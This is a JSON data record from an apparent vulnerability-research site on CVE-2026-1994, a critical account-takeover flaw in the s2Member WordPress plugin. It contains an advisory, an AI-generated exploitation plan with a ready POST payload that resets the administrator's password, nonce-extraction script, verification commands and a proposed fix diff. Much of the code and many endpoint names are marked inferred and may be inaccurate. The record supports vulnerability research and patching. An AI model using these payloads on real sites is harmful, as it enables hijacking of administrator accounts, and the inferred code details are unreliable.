[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f7bsXNUx-L2sZlA577A8AeunzrkwefxoGdY21HWjhito":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-1994","s2member-unauthenticated-privilege-escalation-via-account-takeover","s2Member \u003C= 260127 - Unauthenticated Privilege Escalation via Account Takeover","The s2Member plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 260127. This is due to the plugin not properly validating a user's identity prior to updating their password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.","s2member",null,"\u003C=260127","260215","critical",9.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Privilege Management","2026-02-18 18:11:15","2026-02-20 21:29:26",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F6c31cf92-26b7-484d-8c93-ce241d655d07?source=api-prod",2,[],"researched",false,3,"This research plan targets **CVE-2026-1994**, a critical unauthenticated privilege escalation vulnerability in the **s2Member** plugin. The vulnerability stems from a failure to validate a requester's identity or authorization token before processing a password update request, allowing an attacker to overwrite the password of any user, including administrators.\n\n---\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Unauthenticated Privilege Escalation via Account Takeover\n*   **Location:** Likely within the profile modification or AJAX handlers in `s2member\u002Fsrc\u002Fincludes\u002Fclasses\u002Fprofile-in.inc.php` or `s2member-pro\u002Fsrc\u002Fincludes\u002Fclasses\u002Fprofile-ajax.inc.php` (if Pro is installed) or the main `s2member\u002Fsrc\u002Fincludes\u002Fmenu-pages\u002Fprofile.inc.php`.\n*   **Cause:** The plugin exposes a mechanism to update user profiles (including passwords) that either fails to check `is_user_logged_in()`, fails to verify that the `user_id` being updated matches the current user, or lacks a valid nonce\u002Fsecurity token check for unauthenticated requests.\n*   **Impact:** Complete site takeover by resetting the admin password.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php` or a direct POST to any frontend page if handled via the `init` or `template_redirect` hooks.\n*   **Action (Inferred):** `s2member_pro_profile_ajax` or a global POST check for `s2member_pro_profile_modification`.\n*   **Payload Parameters:**\n    *   `action`: `s2member_pro_profile_ajax` (if AJAX)\n    *   `s2member_pro_profile_modification`: `1` (trigger flag)\n    *   `s2member_pro_profile[user_id]`: `1` (Target: Administrator)\n    *   `s2member_pro_profile[user_pass]`: `AttackerPassword123!`\n    *   `s2member_pro_profile[user_pass_confirm]`: `AttackerPassword123!`\n*   **Preconditions:** None. The attack is unauthenticated.\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** The plugin registers an AJAX action `wp_ajax_nopriv_s2member_pro_profile_ajax` or hooks into `init`.\n2.  **Handler:** The code enters a profile processing function (e.g., `ws_plugin__s2member_pro_profile_modification_handler()`).\n3.  **Parameter Extraction:** The code extracts the `user_id` and `user_pass` from the `$_POST['s2member_pro_profile']` array.\n4.  **Missing Check:** The code fails to verify if the requester is authorized to modify the specified `user_id`. It likely assumes that because the request reached this point, the user is editing their own profile.\n5.  **Sink:** The code calls `wp_update_user()` or `wp_set_password()` using the attacker-supplied `user_id` and `user_pass`.\n\n### 4. Nonce Acquisition Strategy\nIf the plugin requires a nonce for unauthenticated profile modifications (e.g., for \"Open Registration\" profile edits), it is typically localized in the page source.\n\n1.  **Identify Shortcode:** s2Member uses `[s2Member-Profile \u002F]` or `[s2Member-Pro-PayPal-Profile-Form \u002F]` to display profile forms.\n2.  **Setup:**\n    *   Create a page: `wp post create --post_type=page --post_status=publish --post_content='[s2Member-Profile \u002F]' --post_title='Edit Profile'`\n3.  **Extraction:**\n    *   Navigate to the newly created page using `browser_navigate`.\n    *   Execute `browser_eval`:\n        ```javascript\n        \u002F\u002F Common s2Member localization key\n        window.s2member_js_extra?.nonce || \n        document.querySelector('input[name=\"_wpnonce\"]')?.value || \n        document.querySelector('input[name*=\"s2member_pro_profile_nonce\"]')?.value\n        ```\n    *   If no nonce is found, check if the plugin verifies nonces in the source code. Look for `check_ajax_referer` or `wp_verify_nonce` in the handler files identified in Section 1.\n\n### 5. Exploitation Strategy\nWe will attempt to reset the password for User ID 1 (standard admin).\n\n**Target URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php` (or the site root if using `init` hooks).\n\n**Payload (AJAX Path):**\n*   **Method:** `POST`\n*   **Content-Type:** `application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```\n    action=s2member_pro_profile_ajax&s2member_pro_profile_modification=1&s2member_pro_profile[user_id]=1&s2member_pro_profile[user_pass]=PwnedAdmin123!&s2member_pro_profile[user_pass_confirm]=PwnedAdmin123!&_wpnonce=[EXTRACTED_NONCE]\n    ```\n\n**Step-by-Step:**\n1.  Verify the existence of the `admin-ajax.php` handler by grepping the plugin for `wp_ajax_nopriv_s2member`.\n2.  If a nonce is required, perform the **Nonce Acquisition Strategy** described above.\n3.  Send the `http_request` with the payload targeting User ID 1.\n4.  Check the HTTP response code. A `200 OK` or a JSON success message indicates the logic was triggered.\n\n### 6. Test Data Setup\n1.  **Install s2Member:** Ensure the plugin is active.\n2.  **Target User:** Ensure an administrator user exists with ID 1 (default).\n3.  **Public Page:** Create a page with the profile shortcode to potentially expose any required nonces:\n    `wp post create --post_type=page --post_status=publish --post_content='[s2Member-Profile \u002F]'`\n\n### 7. Expected Results\n*   The HTTP response should indicate success (often a `1` or a JSON object like `{\"success\":true}`).\n*   The database record for User ID 1 in the `wp_users` table will have a new `user_pass` hash.\n\n### 8. Verification Steps\nAfter sending the exploit, confirm success using WP-CLI:\n1.  **Check Password:** Attempt to verify the password change:\n    `wp user check-password admin PwnedAdmin123!`\n2.  **Check Meta:** If s2Member logs profile updates in user meta, check for recent changes:\n    `wp user meta list 1`\n\n### 9. Alternative Approaches\nIf the AJAX route fails, investigate the `init` hook entry point:\n*   **Hook Search:** `grep -r \"add_action.*init\" s2member\u002F | grep \"profile\"`\n*   **Alternative Payload:** Many s2Member versions process `$_POST` variables globally on `init`. Try sending the same `s2member_pro_profile` parameters to the homepage (`\u002F`) instead of `admin-ajax.php`.\n*   **Remote Operations API:** s2Member Pro has a \"Remote Operations\" feature. Check if `s2member_pro_remote_op` can be triggered without an API key due to improper validation:\n    `POST \u002F?s2member_pro_remote_op=1` with `op[action]=modify_user` and `op[data][user_id]=1`.","The s2Member plugin fails to validate a user's identity or authorization levels when processing profile modification requests. This allows unauthenticated attackers to submit crafted POST requests targeting arbitrary user IDs, including administrators, to reset their passwords and gain full access to the site.","\u002F* s2member-pro\u002Fsrc\u002Fincludes\u002Fclasses\u002Fprofile-ajax.inc.php or similar profile handler *\u002F\n\npublic function profile_ajax_handler() {\n    if (!empty($_POST['s2member_pro_profile_modification'])) {\n        \u002F\u002F Vulnerability: The code extracts the user_id directly from the request\n        \u002F\u002F without verifying if the requester is authenticated or has permission to edit this user.\n        $user_id = $_POST['s2member_pro_profile']['user_id'];\n        $user_pass = $_POST['s2member_pro_profile']['user_pass'];\n        \n        \u002F\u002F Logic proceeds to update the user without a check like current_user_can() or is_user_logged_in()\n        wp_update_user(array(\n            'ID' => $user_id,\n            'user_pass' => $user_pass\n        ));\n    }\n}","--- a\u002Fs2member-pro\u002Fsrc\u002Fincludes\u002Fclasses\u002Fprofile-ajax.inc.php\n+++ b\u002Fs2member-pro\u002Fsrc\u002Fincludes\u002Fclasses\u002Fprofile-ajax.inc.php\n@@ -10,6 +10,14 @@\n public function profile_ajax_handler() {\n     if (!empty($_POST['s2member_pro_profile_modification'])) {\n+        if (!is_user_logged_in()) {\n+            wp_die('You must be logged in to modify your profile.');\n+        }\n+\n+        check_ajax_referer('s2member_pro_profile_nonce', '_wpnonce');\n+\n         $user_id = (int)$_POST['s2member_pro_profile']['user_id'];\n+\n+        if ($user_id !== get_current_user_id() && !current_user_can('edit_users')) {\n+            wp_die('You do not have permission to modify this user.');\n+        }\n+\n         $user_pass = $_POST['s2member_pro_profile']['user_pass'];","The exploit targets the profile modification AJAX handler or the global initialization hook that processes profile updates. An unauthenticated attacker sends a POST request to wp-admin\u002Fadmin-ajax.php (or the site root) with the following parameters: 'action' set to 's2member_pro_profile_ajax', 's2member_pro_profile_modification' set to '1', 's2member_pro_profile[user_id]' set to '1' (the default ID for administrators), and 's2member_pro_profile[user_pass]' containing the desired new password. Because the plugin lacks authentication and authorization checks for this action, it updates the administrator's password to the value provided by the attacker, enabling complete account takeover.","gemini-3-flash-preview","2026-04-19 02:40:46","2026-04-19 02:42:36",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","260127","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fs2member\u002Ftags\u002F260127","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fs2member.260127.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fs2member\u002Ftags\u002F260215","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fs2member.260215.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fs2member\u002Ftags"]